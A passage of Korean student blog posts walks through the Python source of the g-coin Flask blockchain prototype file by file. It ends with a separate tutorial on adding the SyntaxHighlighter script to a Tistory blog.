그 후 proof_hash 와 임의의 값과 비교를 하는 것을 볼 수 있습니다.

config에서 설정한 어려움 값이 크면 클 수록 유효한지 안한지를 찾기가 어려울 것 같아보이네요 ^^


def find_proof(block):
    """proof of work

    Args:
        block (obj):

    Returns:
        int: proof
    """
    proof = 0

    while valid_proof(block, proof) is False:
        proof += 1

    return proof


인자로 넘겨받는 블록을 유요할때까지 계속 while문으로 돌리는 것을 볼 수 있었습니다.

유효한 해쉬값을 찾을때까지 +=1 을 하여 리턴하네요 !


miner.py

import gcoin.config as cfg
import gcoin.proof as proof
from gcoin.transaction import Transaction


class Miner:
    def __init__(self, account_id):
        self.account_id = account_id

    def __call__(self, blockchain):
        # Adding mining rewards
        transaction = Transaction(cfg.GENESIS_ACCOUNT_ID,
                                  self.account_id, cfg.AMOUNT_OF_REWARD)
        blockchain.add_transaction(transaction)

        # Make new block with transactions and hash of last block
        new_block = blockchain.new_block()

        # Proof of Work
        new_proof = proof.find_proof(new_block)

        new_block.proof = new_proof

        blockchain.add_block(new_block)

        return new_block


채굴하는 코드입니다!!!

채굴!!! 가즈아!!!!!!


먼저 3개의 코드를 불러오는 것을 볼 수 있습니다.


config.py, proof.py, transaction.py


그리고 초기화에서 account_id 를 클래스 자신에게 대입을 하네요.


아마도 이 계정은 채굴자의 계정이 아닐까 싶습니다 :D


그리고 채굴의 기여한 내용을 거래 기록에 남기네요.

그리고 추가를 하구요.

그리고 채굴되었다면 새로운 블럭을 생성하여 채굴이 완료되는 것을 볼 수 있습니다.


그 뒤 새로운 블럭에 유효한 증명을 하여 새로운 블럭에 대입하고 블록체인에 추가를 하고 새로운 블럭을 리턴을 해주는 코드네요.


blockchain.py

import gcoin.proof
import gcoin.config as cfg
from gcoin.book import Book
from gcoin.block import Block


class BlockChain:
    def __init__(self, chain=None):
        """init chain with existing chain
        or make this new blockchain

        Args:
            chain: list of dictionary of Block, see load_chain
        """
        self.chain = []
        self.book = Book()
        self.transactions = []

        if chain:
            self.load_chain(chain)
        else:
            self.init_chain()

    def init_chain(self):
        """Make genesis block"""
        genesis_block = Block([], previous_hash=cfg.GENESIS_HASH)

        genesis_proof = gcoin.proof.find_proof(genesis_block)

        genesis_block.proof = genesis_proof

        self.add_block(genesis_block)

    def add_transaction(self, transaction):
        """Add new transaction
        It will only add amount

        Args:
            transaction (obj): Transaction object

        Returns:
            int: index of next block of chain
                return -1 if it's not correct transaction
        """
        if self.book.check_balance(transaction):
            self.transactions.append(transaction)
            return len(self.chain) + 1  # Add this transaction to next block
        else:
            raise Exception('Transaction is wrong.')

    def new_block(self):
        last_block = self.chain[-1]

        block = Block(self.transactions,
                      previous_hash=last_block.hash())

        self.transactions = []

        return block

    def add_block(self, block):
        self.chain.append(block)
        self.book.apply(block.transactions)

    def valid(self):
        """Valid chain"""
        index = 1

        while index < len(self):
            prev_block = self.chain[index-1]
            curr_block = self.chain[index]

            # Check hash with previous hash
            if curr_block.previous_hash != prev_block.hash():
                return False

            # Check proof of current block
            if not gcoin.proof.valid_proof(curr_block):
                return False

            index += 1

        return True

    def load_chain(self, chain):
        """load chain from list of dictionary
        from existing blockchain

        Args:
            chain (list):
                [{
                    transactions: [{
                        sender: 'dsf9s9f0ad'
                        recipient: 'dfsad90fasf'
                        amount: 12
                    }]
                    proof: 318832940000
                    previous_hash: 'fj9afje9ajf9sef0s0f'
                    timestamp: 1506057125.900785
                }]
        """
        for block in chain:
            block = Block.init_from_json(block)
            self.add_block(block)

    def last_block(self):
        return self.chain[-1]

    def dump(self):
        return [block.dump() for block in self.chain]

    def __len__(self):
        return len(self.chain)


이게 바로 제일 중요한 블록체인에 대한 코드가 아닐까 싶습니다.


찬찬히 코드를 살펴보도록 합시다!!!


def __init__(self, chain=None): """init chain with existing chain or make this new blockchain Args: chain: list of dictionary of Block, see load_chain """ self.chain = [] self.book = Book() self.transactions = [] if chain: self.load_chain(chain) else: self.init_chain()

def init_chain(self): """Make genesis block""" genesis_block = Block([], previous_hash=cfg.GENESIS_HASH) genesis_proof = gcoin.proof.find_proof(genesis_block) genesis_block.proof = genesis_proof self.add_block(genesis_block)


먼저 블록체인을 위해 리스트와 통장(?)과 거래 기록을 초기화하는 것을 볼 수 있습니다.

그 후 체인이 있을 경우 load_chain함수로 생성한 체인에 로드하네요.

아닐 경우엔 init_chain으로 체인을 초기화하는 것을 볼 수 있습니다.


블록체인에 첫 블록을 추가하는 부분이네요 ㅎㅎ


def add_transaction(self, transaction):
        """Add new transaction
        It will only add amount

        Args:
            transaction (obj): Transaction object

        Returns:
            int: index of next block of chain
                return -1 if it's not correct transaction
        """
        if self.book.check_balance(transaction):
            self.transactions.append(transaction)
            return len(self.chain) + 1  # Add this transaction to next block
        else:
            raise Exception('Transaction is wrong.')


거래 기록 object를 받네요!


check_balance로 거래기록을 받은 것을 인자로 넘겨주어 제대로된 거래인지 확인을 합니다.

제대로 된 거래일 경우 거래 기록에 추가하고 체인에 대해 길이 +1을 하네요.


def new_block(self): last_block = self.chain[-1] block = Block(self.transactions, previous_hash=last_block.hash()) self.transactions = [] return block def add_block(self, block): self.chain.append(block) self.book.apply(block.transactions)


마지막 블록이라는 변수에 체인의 마지막 블록을 대입하며 블록을 생성하네요!

생성한 블럭은 반환해주네요!


그리고 말그대로 블럭체인에 블럭을 추가하는 코드입니다.

def load_chain(self, chain): """load chain from list of dictionary from existing blockchain Args: chain (list): [{ transactions: [{ sender: 'dsf9s9f0ad' recipient: 'dfsad90fasf' amount: 12 }] proof: 318832940000 previous_hash: 'fj9afje9ajf9sef0s0f' timestamp: 1506057125.900785 }] """ for block in chain: block = Block.init_from_json(block) self.add_block(block)


네 이건 json 데이터를 받아 block 을 초기화하고 블록체인에 추가하네요.

그 외엔 딱히 중요한 내용은 없는 것 같습니다.


node.py

import requests
from uuid import uuid4

from gcoin.blockchain import BlockChain


class Node:
    def __init__(self, id=None):
        self.id = id if id else self._generate_id()
        self.neighbor = set()

    @staticmethod
    def _generate_id():
        return str(uuid4()).replace('-', '')

    def add(self, address):
        self.neighbor.add(address)

    def __len__(self):
        return len(self.neighbor)

    @staticmethod
    def fetch_neighbor_chain(address):
        res = requests.get('{0}/chain'.format(address))
        return res.json()

    def consensus_with_neighbor(self, blockchain):
        """Consensus conflicts with neighbor

        Args:
            blockchain (obj): BlockChain object of mine for consensus

        Returns:
            obj or None:
                None if my blockchain is King
                new BlockChain object if my blockchain is looser
        """
        new_blockchain = None
        max_length = len(blockchain)

        for node in self.neighbor:
            data = self.fetch_neighbor_chain(node)

            if data['length'] > max_length:
                new_blockchain = BlockChain(chain=data['chain'])

                if not new_blockchain.valid():
                    new_blockchain = None
                else:
                    max_length = len(new_blockchain)

        return new_blockchain


네 드디어 마지막 파일입니다!!!!


def fetch_neighbor_chain(address):
        res = requests.get('{0}/chain'.format(address))
        return res.json()

chain에 get 리퀘스트를 쏴서 현재 블록체인들의 json 파일을 리턴해주네요.


def consensus_with_neighbor(self, blockchain):
        """Consensus conflicts with neighbor

        Args:
            blockchain (obj): BlockChain object of mine for consensus

        Returns:
            obj or None:
                None if my blockchain is King
                new BlockChain object if my blockchain is looser
        """
        new_blockchain = None
        max_length = len(blockchain)

        for node in self.neighbor:
            data = self.fetch_neighbor_chain(node)

            if data['length'] > max_length:
                new_blockchain = BlockChain(chain=data['chain'])

                if not new_blockchain.valid():
                    new_blockchain = None
                else:
                    max_length = len(new_blockchain)

        return new_blockchain

블록체인을 인자로 받아 현재 체인에 대해 추가하는 코드 부분입니다.


이로써 모든 파일에 대한 코드를 분석해보았습니다.


다음 게시글에서는 서버에서 실행환경을 구축하여 실제로 동작을 하는지를 확인하도록 하겠습니다.


읽어주셔서 감사합니다.


'0x30 Study > 0x32 Blockchain' 카테고리의 다른 글

g-coin 분석(2)  (33) 2018.03.05
g-coin 분석(0)  (0) 2018.03.01
BlockChain을 공부하자! (0)  (62) 2018.02.28

안녕하세요.


저는 공주대학교 컴퓨터공학부 컴퓨터소프트웨어전공 17학번 문승현입니다.


현재 블록체인 기술에 대해 공부를 하여 공부한 내용을 정리하고자 게시글을 작성하였습니다.


미리 읽어주시는 분들께 감사하며 잘못된 지식이 있을 경우 마음 편하게 피드백주시면 감사하겠습니다.



먼저 제가 깃허브를 돌아다니다 괜찮은 자료를 발견하여 분석을 시작한 코인의 깃허브 주소입니다.


https://github.com/golbin/g-coin



먼저 다운받게 되면 위와 같이 파일들이 있습니다.


golbin

- app.py

- gcoin

    - blockchain.py 

    - block.py

    - book.py

    - config.py

    - miner.py

    - node.py

    - proof.py

    - __pycache__

    - requirements.txt

    - transaction.py


패키지

requirements.txt를 열어보게 되면 패키지의 버전은 아래와 같음을 알 수 있습니다.

Flask==0.12.2
requests==2.18.4

그리고 깃허브를 보면 파이썬의 버전은 3.6 이상의 버전임을 알 수 있습니다.

정리하자면 아래와 같습니다.

Python >= 3.6
Flask >= 0.12
Requests >= 2.18

패키지 설치

pip3 install -r ./requirements.txt 

분석


app.py

 hubeen@SeunghyunSeverx64 >>> ~/study/block/golbin >>> cat app.py

from argparse import ArgumentParser

from flask import Flask, jsonify, request

from gcoin.node import Node
from gcoin.miner import Miner
from gcoin.blockchain import BlockChain
from gcoin.transaction import Transaction


app = Flask('g-coin')

app.node = Node()
app.miner = Miner(app.node.id)
app.blockchain = BlockChain()


@app.route('/transaction', methods=['POST'])
def add_transaction():
    # data.sender(str)
    # data.recipient(str)
    # data.amount(int)
    data = request.get_json()

    transaction = Transaction.init_from_json(data)

    try:
        next_index = app.blockchain.add_transaction(transaction)
    except Exception as e:
        return jsonify({'message': str(e)}), 403

    response = {'message': 'Transaction will be added to {next_index}th block.'}

    return jsonify(response), 201


@app.route('/transaction', methods=['GET'])
def get_pending_transactions():
    transactions = [t.dump() for t in app.blockchain.transactions]

    return jsonify(transactions), 201


@app.route('/mine', methods=['POST'])
def mine():
    """Mining
    Have to make a standalone process
    But it's just a prototype
    """
    block = app.miner(app.blockchain)

    response = {
        'message': "New block is mined!",
        'block': block.dump()
    }

    return jsonify(response), 200


@app.route('/chain', methods=['GET'])
def get_full_chain():
    response = {
        'chain': app.blockchain.dump(),
        'length': len(app.blockchain)
    }

    return jsonify(response), 200


@app.route('/node', methods=['GET'])
def get_all_nodes():
    response = {
        'nodes': list(app.node.neighbor),
        'total': len(app.node)
    }

    return jsonify(response), 201


@app.route('/node', methods=['POST'])
def add_node():
    # data.address(str)
    data = request.get_json()

    app.node.add(data['address'])

    response = {
        'message': 'New app.node is added.',
        'total': len(app.node)
    }

    return jsonify(response), 201


@app.route('/chain/valid', methods=['GET'])
def valid_chain():
    valid = app.blockchain.valid()

    response = {'result': valid}

    return jsonify(response), 200


@app.route('/consensus', methods=['POST'])
def consensus():
    new_blockchain = app.node.consensus_with_neighbor(app.blockchain)

    if new_blockchain:
        app.blockchain = new_blockchain
        response = {'message': 'Our chain was replaced.'}
    else:
        response = {'message': 'I\'m King of the World.'}

    return jsonify(response), 200


if __name__ == '__main__':
    parser = ArgumentParser()
    parser.add_argument('--port', default=5000, type=int)
    args = parser.parse_args()

    app.run(host='0.0.0.0',port=args.port)


보게 되면 --port 로 받은 인자를 int 형으로 플라스크의 포트로 설정하는 것을 볼 수 있습니다.

네, app.py는 그냥 플라스크를 실행하는 것을 알 수 있습니다.


아, 참 깃허브에서 받은 코드가 다른 부분이 있습니다.


app.run(host='0.0.0.0',port=args.port)


바로 이 부분인데요.


아마 host='0.0.0.0'이 없으실겁니다.


저는 외부 접속을 허용하기 위해 이 부분에 코드를 추가하였습니다.


config.py

# for the first chain
GENESIS_HASH = 'g'

# for mining rewards
GENESIS_ACCOUNT_ID = '0'
AMOUNT_OF_REWARD = 1

# for proof of work
DIFFICULTY = 1  # number of digits is difficulty
PROOF_DIGITS = '0'  # Finding PROOF_DIGITS * DIFFICULTY ('00', '000', ..) is proof of work


config.py부터 보도록 하겠습니다.


GENESIS_HASH = 'g'


첫번째의 체인의 해쉬를 설정하는 부분입니다.


GENESIS_ACCOUNT_ID = '0'
AMOUNT_OF_REWARD = 1


채굴을 할 때에 나누어줄 갯수와 초기의 계정의 아이디를 설정하는 부분입니다.

쉽게 말하면 '신', '관리자'의 계정을 설정하는 부분입니다.


DIFFICULTY = 1  # number of digits is difficulty
PROOF_DIGITS = '0'  # Finding PROOF_DIGITS * DIFFICULTY ('00', '000', ..) is proof of work


채굴에 대해 난이도를 설정하는 부분입니다.

현재의 코드는 난이도가 1로 설정이 되어있어 PROOF_DIGITS * 1로 '0' 되어있습니다.

이 난이도가 2로 설정이 되면 PROOF_DIGITS * 2가 되어 '00' 으로 동작한다는 것을 주석을 통해 알 수 있었습니다.


block.py

import json
import hashlib
from time import time

import gcoin.config as cfg
from gcoin.transaction import Transaction


class BlockHeader:
    def __init__(self, previous_hash=None, timestamp=0,
                 difficulty=0, proof=0):
        """Block

        Args:
            previous_hash (str):
            timestamp (float):
            difficulty (int):
            proof (int):
        """
        self.previous_hash = previous_hash
        self.timestamp = timestamp if timestamp else time()
        self.difficulty = difficulty if difficulty else cfg.DIFFICULTY
        self.proof = proof

    def hash(self):
        """Make hash of a header of current block for finding proof

        Don't use 'proof' because there is no 'proof' in new block at the first time.
        """
        header_dump = self.dump()
        header_dump.pop('proof', None)
        header_dump = json.dumps(header_dump, sort_keys=True).encode()
        header_hash = hashlib.sha256(header_dump).hexdigest()

        return header_hash

    def dump(self, proof=True):
        data = {
            'previous_hash': self.previous_hash,
            'timestamp': self.timestamp,
            'difficulty': self.difficulty
        }

        if proof:
            data['proof'] = self.proof

        return data

    @classmethod
    def init_from_json(cls, data):
        return cls(data['previous_hash'],
                   data['timestamp'],
                   data['difficulty'],
                   data['proof'])


class Block:
    def __init__(self, transactions, previous_hash=None):
        """Block

        Args:
            transactions (list): list of Transaction object
            previous_hash (str):
        """
        self.transactions = transactions
        self.header = BlockHeader(previous_hash)

    @property
    def previous_hash(self):
        return self.header.previous_hash

    @property
    def difficulty(self):
        return self.header.difficulty

    @property
    def proof(self):
        return self.header.proof

    @proof.setter
    def proof(self, value):
        self.header.proof = value

    def hash(self):
        """Make hash of current block"""
        block_dump = json.dumps(self.dump(), sort_keys=True).encode()
        block_hash = hashlib.sha256(block_dump).hexdigest()

        return block_hash

    def dump(self):
        return {
            'header': self.header.dump(),
            'transactions': [t.dump() for t in self.transactions]
        }

    @classmethod
    def init_from_json(cls, data):
        transactions = [Transaction.init_from_json(t)
                        for t in data['transactions']]

        header = BlockHeader.init_from_json(data['header'])

        self = cls(transactions)

        self.header = header

        return self


블록의 구조를 볼 수 있는 코드입니다.


transactions : 거래 정보들

previous_hash : 이전 해쉬

proof : 보상?

timestamp : 블록이 생성된 시간

hash : 자기 블록의 해쉬

difficulty : 어려움?


import gcoin.config as cfg


일단 아까 저희가 처음에 본 config.py를 임포트하는 것을 볼 수 있습니다.


self.difficulty = difficulty if difficulty else cfg.DIFFICULTY


난이도를 설정한 것을 불러와 대입을 하는 것을 볼 수 있습니다.


class BlockHeader:
    def __init__(self, previous_hash=None, timestamp=0,
                 difficulty=0, proof=0):
        """Block

        Args:
            previous_hash (str):
            timestamp (float):
            difficulty (int):
            proof (int):
        """
        self.previous_hash = previous_hash
        self.timestamp = timestamp if timestamp else time()
        self.difficulty = difficulty if difficulty else cfg.DIFFICULTY
        self.proof = proof

    def hash(self):
        """Make hash of a header of current block for finding proof

        Don't use 'proof' because there is no 'proof' in new block at the first time.
        """
        header_dump = self.dump()
        header_dump.pop('proof', None)
        header_dump = json.dumps(header_dump, sort_keys=True).encode()
        header_hash = hashlib.sha256(header_dump).hexdigest()

        return header_hash

    def dump(self, proof=True):
        data = {
            'previous_hash': self.previous_hash,
            'timestamp': self.timestamp,
            'difficulty': self.difficulty
        }

        if proof:
            data['proof'] = self.proof

        return data

    @classmethod
    def init_from_json(cls, data):
        return cls(data['previous_hash'],
                   data['timestamp'],
                   data['difficulty'],
                   data['proof'])


인자는 4개로 previous_hash, timestamp, difficulty, proof가 있습니다.

previous_hash : string 타입으로 이전 블록의 해쉬 값입니다.

timestamp : float 타입으로 블록의 생성 시간입니다.

difficulty : int 타입으로 난이도 결정의 값입니다.

proof : int 타입으로 아직까지 무슨 역할을 하는 아이인진 모르겠네요.


인자를 받으며 에러를 위해 초기 값들은 None, 0, 0, 0으로 설정하는 것을 볼 수 있습니다.

현재 자기 자신의 값에 받은 값을 대입하는 것을 볼 수 있습니다.


hash()

header_dump = self.dump() header_dump.pop('proof', None) header_dump = json.dumps(header_dump, sort_keys=True).encode() header_hash = hashlib.sha256(header_dump).hexdigest()

블록 정보를 덤프를 뜨며 덤프를 뜬 내용을 json형식으로 만든 뒤 대입을 하는 것을 볼 수 있습니다.
그 뒤에 블록 해쉬에 sha256 알고리즘으로 암호화하여 hex형식으로 대입을 하네요.

init_from_json()

def init_from_json(cls, data):
        return cls(data['previous_hash'],
                   data['timestamp'],
                   data['difficulty'],
                   data['proof'])


JSON 데이터를 받아 블록정보를 초기화합니다.


dump()

def dump(self, proof=True):
        data = {
            'previous_hash': self.previous_hash,
            'timestamp': self.timestamp,
            'difficulty': self.difficulty
        }

        if proof:
            data['proof'] = self.proof

        return data


블록의 정보를 반환해주는 함수입니다.



class Block:
    def __init__(self, transactions, previous_hash=None):
        """Block

        Args:
            transactions (list): list of Transaction object
            previous_hash (str):
        """
        self.transactions = transactions
        self.header = BlockHeader(previous_hash)

    @property
    def previous_hash(self):
        return self.header.previous_hash

    @property
    def difficulty(self):
        return self.header.difficulty

    @property
    def proof(self):
        return self.header.proof

    @proof.setter
    def proof(self, value):
        self.header.proof = value

    def hash(self):
        """Make hash of current block"""
        block_dump = json.dumps(self.dump(), sort_keys=True).encode()
        block_hash = hashlib.sha256(block_dump).hexdigest()

        return block_hash

    def dump(self):
        return {
            'header': self.header.dump(),
            'transactions': [t.dump() for t in self.transactions]
        }

    @classmethod
    def init_from_json(cls, data):
        transactions = [Transaction.init_from_json(t)
                        for t in data['transactions']]

        header = BlockHeader.init_from_json(data['header'])

        self = cls(transactions)

        self.header = header

        return self


transactions : list 타입으로 거래 정보들이 들어있는 곳입니다.

previous_hash : string 타입으로 이전 해쉬 값이 들어있는 곳입니다.


그리고 함수들의 역할은 위에서 설명한 함수들과 같은 역할을 하는 아이들이라 딱히 큰 설명은 없이 넘어가도 될 것 같습니다.


transaction.py

class Transaction:
    def __init__(self, sender, recipient, amount):
        """Transaction

        Args:
            sender (str):
            recipient (str):
            amount (int): positive number
        """
        self.sender = sender
        self.recipient = recipient
        self.amount = amount

        if amount < 1:
            raise Exception('Amount have to be positive number.')

    def dump(self):
        return {
            'sender': self.sender,
            'recipient': self.recipient,
            'amount': self.amount
        }

    @classmethod
    def init_from_json(cls, data):
        return cls(data['sender'],
                   data['recipient'],
                   data['amount'])


파일 명을 보고 딱 알아차릴 수 있겠네요!

거래정보를 관련하는 아이일 것이라 예상할 수 있었습니다.


인자는 3개로 sender, recipient, amount 입니다.


sender : string 타입으로 보내는 이의 정보가 담기는 변수입니다.

recipient : string 타입으로 받는 이의 정보가 담기는 변수입니다.

amount : int 타입으로 보낼 갯수가 담기는 변수입니다.


if amount < 1:
            raise Exception('Amount have to be positive number.')

amount가 1보다 작을 수 없습니다.
그야 당연하죠 !
0개를 보낼 순 없잖아요? (웃음)

dump()

    def dump(self):
        return {
            'sender': self.sender,
            'recipient': self.recipient,
            'amount': self.amount
        }

거래 정보를 반환해주는 함수입니다.

init_from_json()

    def init_from_json(cls, data):
        return cls(data['sender'],
                   data['recipient'],
                   data['amount'])


json 값을 초기화해주는 함수입니다.


book.py

"""account book"""
import gcoin.config as cfg


class Account:
    def __init__(self):
        self.target = []  # sender or recipient
        self.amount = []  # - / + amount

    def sum(self):
        return sum(self.amount)

    def add(self, target, amount):
        self.target.append(target)
        self.amount.append(amount)


class Book:
    def __init__(self):
        self.account = {}

    def check_balance(self, transaction):
        """Check sender's balance
        TODO: check balance in transactions in next blocks

        Args:
            transaction (obj): Transaction object

        Returns:
            bool:
        """
        if transaction.sender == cfg.GENESIS_ACCOUNT_ID:  # for mining rewards
            return True
        if transaction.sender in self.account:
            account = self.account[transaction.sender]
            return account.sum() - transaction.amount >= 0
        else:
            return False

    def get_account(self, account_id):
        if account_id not in self.account:
            self.account[account_id] = Account()

        return self.account[account_id]

    def apply(self, transactions):
        """Add new transactions to book in new block

        Args:
            transactions (obj): Transaction object
        """
        for t in transactions:
            sender = self.get_account(t.sender)
            recipient = self.get_account(t.recipient)

            sender.add(recipient, -t.amount)
            recipient.add(sender, t.amount)


book이라니? 이게 무슨 녀석인지 이해가 안됬지만 코드를 보고 대략 파악이 가능했습니다.

계정에 대해 갯수를 반환해주는 아이엿습니다.

쉽게 말하면 통장정도가 되겠네요.


여기에도 두개의 클래스가 있습니다.


class Account:
    def __init__(self):
        self.target = []  # sender or recipient
        self.amount = []  # - / + amount

    def sum(self):
        return sum(self.amount)

    def add(self, target, amount):
        self.target.append(target)
        self.amount.append(amount)


sum()

말 그대로 갯수를 더해주는 함수입니다.
갯수를 -, +로 빼고 더하고를 할 수 있겠네요.

add()

타겟에 타겟을 추가하고 갯수에 갯수를 추가합니다.


class Book:
    def __init__(self):
        self.account = {}

    def check_balance(self, transaction):
        """Check sender's balance
        TODO: check balance in transactions in next blocks

        Args:
            transaction (obj): Transaction object

        Returns:
            bool:
        """
        if transaction.sender == cfg.GENESIS_ACCOUNT_ID:  # for mining rewards
            return True
        if transaction.sender in self.account:
            account = self.account[transaction.sender]
            return account.sum() - transaction.amount >= 0
        else:
            return False

    def get_account(self, account_id):
        if account_id not in self.account:
            self.account[account_id] = Account()

        return self.account[account_id]

    def apply(self, transactions):
        """Add new transactions to book in new block

        Args:
            transactions (obj): Transaction object
        """
        for t in transactions:
            sender = self.get_account(t.sender)
            recipient = self.get_account(t.recipient)

            sender.add(recipient, -t.amount)
            recipient.add(sender, t.amount)


현재 계정을 초기화하네요.

dicinary 타입으로 계정마다 갯수를 정하게 하는 것 같습니다.


check_balance()

transaction : 거래 내용
리턴 타입은 True, False 라고 합니다.

if transaction.sender == cfg.GENESIS_ACCOUNT_ID: # for mining rewards return True


만약 보내는 이가 '신', '관리자' 계정이면 무조건 True가 되네요.

이에 대한 코드는 보안에 대한 취약점이 되지 않을까 싶습니다.


if transaction.sender in self.account:
            account = self.account[transaction.sender]
            return account.sum() - transaction.amount >= 0
        else:
            return False


거래 내용에 보내는 이가 계정 안에 있으면 계정에 대한 갯수를 보내거나 지불하는 것을 볼 수 있으며 계정 안에 없을 경우에는 False를 리턴하는 것을 볼 수 있습니다.


get_account()

account_id : 계정의 아이디입니다.

account이 없을 경우 계정을 생성하네요.
그 외에는 그 계정을 반환해주는 함수입니다.

apply()

transactions : 거래 기록들을 담는 변수입니다.

거래 기록들중에 계정 정보를 받아 보내는 이와 받는 이를 변수에 대입합니다.
그리고 보내는 이는 그 만큼의 코인을 - 하며 받는 이는 그 만큼의 코인을 더합니다.


남은 blockchain.py, miner.py, node.py, proof.py 는 다음 게시글에서 정리하도록 하겠습니다.


읽어주셔서 감사합니다.

'0x30 Study > 0x32 Blockchain' 카테고리의 다른 글

g-coin 분석(2)  (33) 2018.03.05
g-coin 분석(1)  (1) 2018.03.03
BlockChain을 공부하자! (0)  (62) 2018.02.28

글을 작성하게 된 계기



이번에 블록체인 글을 작성하면서 처음으로 게시글 공유가 5개가 넘어가는 멋진 일이 일어나며 좋은 피드백을 받게 되어 작성하게 되었습니다.


적용하는데는 큰 어려움이 없으므로 많으신 분들이 이 게시글을 보고 도움이 되었으면 좋겠습니다.


게시글을 보시며 어려움이 생기신다면 언제든지 댓글을 남겨주시면 글을 더 쉬운 방향으로 수정하도록 하겠습니다.


코드 하이라이트(Syntax Highlighter) 다운로드

먼저 사용을 하시려면 코드 하이라이트(Syntax Highlighter)를 다운받아야겠죠?

다운은 아래의 링크에서 받으시면 됩니다!

다운로드 링크 : https://github.com/syntaxhighlighter/syntaxhighlighter

여기까지 따라오셨나요?

그렇다면 다음 차례로 넘어오시면 될 것 같습니다!!!

티스토리에 다운받은 코드 하이라이트(Syntax Highlighter) 업로드

다운받으시면 압축을 풀은 나오는 폴더들에 scripts 폴더와 styles 폴더의 파일만 업로드 하면 됩니다.

[업로드 해야 될 파일]
코어 필수 파일 : scripts/shCore.js
언어 신텍스 스크립트 파일 : scripts/shBrush*.js
스타일 선택 파일 : styles/shCore*.css
신텍스 테마 파일 : styles/shTheme*.css

그렇다면 업로드 해주세요!

2018년도 기준으로 블로그 관리 -> 스킨 편집 -> html 편집 -> 파일 업로드로 이동해주세요!


위와 같이 업로드되셨다면 2단계까지 잘 따라오신 겁니다!

어? images로 업로드되셨다구요?

괜찮습니다! 


파일을 불러올 때에 경로만 잘 잡아주게 되면 상관이 없습니다!


코드 하이라이트(Syntax Highlighter) 적용

이제 파일들도 다운로드하고 티스토리에 업로드를 하였다면 이것을 사용해야겠죠?
이 파일들은 css, js 파일이므로 <head></head> 사이에 태그를 입력해주셔야 됩니다.
저는 모든 코드들을 일단 적용하였습니다.

<script type='text/javascript' src='./images/shCore.js'></script>
<script type='text/javascript' src='./images/shAutoloader.js'></script>
<script type='text/javascript' src='./images/shBrushAppleScript.js'></script>
<script type='text/javascript' src='./images/shBrushBash.js'></script>
<script type='text/javascript' src='./images/shBrushColdFusion.js'></script>
<script type='text/javascript' src='./images/shBrushCpp.js'></script>
<script type='text/javascript' src='./images/shBrushCSharp.js'></script>
<script type='text/javascript' src='./images/shBrushCss.js'></script>
<script type='text/javascript' src='./images/shBrushDelphi.js'></script>
<script type='text/javascript' src='./images/shBrushDiff.js'></script>
<script type='text/javascript' src='./images/shBrushErlang.js'></script>
<script type='text/javascript' src='./images/shBrushGroovy.js'></script>
<script type='text/javascript' src='./images/shBrushJava.js'></script>
<script type='text/javascript' src='./images/shBrushJavaFX.js'></script>
<script type='text/javascript' src='./images/shBrushJScript.js'></script>
<script type='text/javascript' src='./images/shBrushPerl.js'></script>
<script type='text/javascript' src='./images/shBrushPhp.js'></script>
<script type='text/javascript' src='./images/shBrushPlain.js'></script>
<script type='text/javascript' src='./images/shBrushPowerShell.js'></script>
<script type='text/javascript' src='./images/shBrushPython.js'></script>
<script type='text/javascript' src='./images/shBrushRuby.js'></script>
<script type='text/javascript' src='./images/shBrushSass.js'></script>
<script type='text/javascript' src='./images/shBrushScala.js'></script>
<script type='text/javascript' src='./images/shBrushSql.js'></script>
<script type='text/javascript' src='./images/shBrushVb.js'></script>
<script type='text/javascript' src='./images/shBrushXml.js'></script>
<script type='text/javascript' src='./images/shLegacy.js'></script>
<link href="./images/shCoreDefault.css" rel="stylesheet" type="text/css">

<link href="./images/shThemeDefault.css" rel="stylesheet" type="text/css">

<script type="text/javascript">
//<![CDATA[
                SyntaxHighlighter.config.bloggerMode = true;
                SyntaxHighlighter.all();
//]]>
</script>

여기까지 따라오셨다면 잘 따라오신겁니다!


크롬 브라우저를 위하여!

크롬 브라우저로 접속하는 사람들을 위해 아래의 코드를 css에 입력해주세요

 div .syntaxhighlighter {
    overflow-y: hidden!important; overflow-x: auto!important;
    font-size:0.9em !important;
}



어디에든 입력만 하시면 상관이 없습니다.


코드 하이라이트(Syntax Highlighter) 사용하기

코드 하이라이트를 사용하기 위해서는 pre 태그를 이용해야되기 때문에 html 편집을 이용하셔야 됩니다.
그리고 아래의 코드를 입력하시면 됩니다.

<pre class= "brush:브러쉬">
    코드
</pre>

브러쉬 명



잘 사용하시길 바랍니다!


+ Recent posts